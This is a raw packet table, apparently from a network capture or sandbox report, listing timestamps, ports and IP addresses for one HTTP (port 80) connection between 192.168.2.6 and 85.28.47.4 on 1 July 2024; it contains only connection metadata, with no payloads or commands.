Jul 1, 2024 07:20:44.192431927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192702055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192718029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192733049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192739010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192748070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192759991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192765951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192775011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192783117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192795038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192799091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192811012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192817926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192832947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192840099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192847967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192853928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192861080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192871094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192871094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192907095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.281663895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281693935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281740904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281764030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281789064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281816959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281864882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281893015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281923056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281951904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.281980991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282078981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282108068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282135010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282162905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282192945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282228947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282258987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282289982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282319069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282347918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282377005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282444000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282470942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282517910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282547951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282577991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282608032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282638073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282691956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282717943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282747984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282778025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282812119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282927990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282958031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.282984972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283014059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283041000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283067942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283096075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283126116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283153057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283174992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283206940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283233881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283308983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283338070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283365965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283396959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283430099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283471107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283500910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283545017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283574104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283602953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283627033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283651114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283682108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283706903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283828020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283858061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283886909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283915997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.283946037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284030914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284060001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284087896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284123898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284157038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284185886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284218073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284248114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284286976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284317017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284348965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284378052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284409046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284446955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284523010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284706116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284749031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284778118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284816980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284846067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284873962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284903049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.284929991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285002947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285031080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285049915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285083055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285111904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285140038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285170078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285197020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285228014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285257101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285285950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285315037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285362005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285392046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285422087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285466909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285509109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285528898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285558939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285587072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285614967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285644054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285672903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285701036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.285731077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.287106037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.287230015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.287353992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375231981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375263929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375279903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375344992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375360966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375360012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375376940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375396013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375396967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375396013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375408888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375438929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375442982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375456095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375479937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375509024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375545979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375585079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375597954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375613928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375616074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375631094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375648022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375660896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375670910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375678062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375694990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375705004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375735044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375758886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375782967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375802040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375807047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375814915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375844955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375865936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375885963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375915051 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375930071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375945091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375957012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375961065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375967026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.375977039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.375991106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376003981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376019955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376125097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376140118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376154900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376166105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376171112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376179934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376187086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376199961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376200914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376214981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376229048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376247883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376267910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376281023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376306057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376329899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376414061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376427889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376442909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376452923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376458883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376473904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376491070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376492977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376498938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376514912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376530886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376532078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376547098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376554966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376563072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376574039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376585960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376601934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376666069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376679897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376696110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376703978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376713037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376713991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376729965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376734972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376743078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376744986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376760006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376765966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376785040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376797915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376869917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376885891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376900911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376909018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376916885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.376916885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376940966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.376951933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377003908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377019882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377054930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377068996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377074957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377084017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377095938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377110004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377111912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377127886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377129078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377145052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377156019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377160072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377180099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377183914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377207994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377232075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377384901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377398968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377414942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377424955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377429962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377439022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377448082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377453089 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377465963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377475977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377480984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377484083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377504110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377520084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377720118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377734900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377749920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377759933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377764940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377777100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377782106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377789021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377799034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377809048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377815008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377820969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377831936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377840996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377851963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377866983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377868891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377887011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377887964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377887964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377904892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.377914906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377938032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.377938032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378037930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378078938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378120899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378137112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378151894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378154039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378168106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378170013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378185034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378189087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378201962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378204107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378221035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378225088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378235102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378252029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378443003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378457069 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378479958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378482103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378495932 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378496885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378511906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378515005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378525972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378530025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378544092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378545046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378559113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378576040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378585100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378588915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378588915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378599882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.378612995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.378616095 CEST	80	49711	85.28.47.4	192.168.2.6
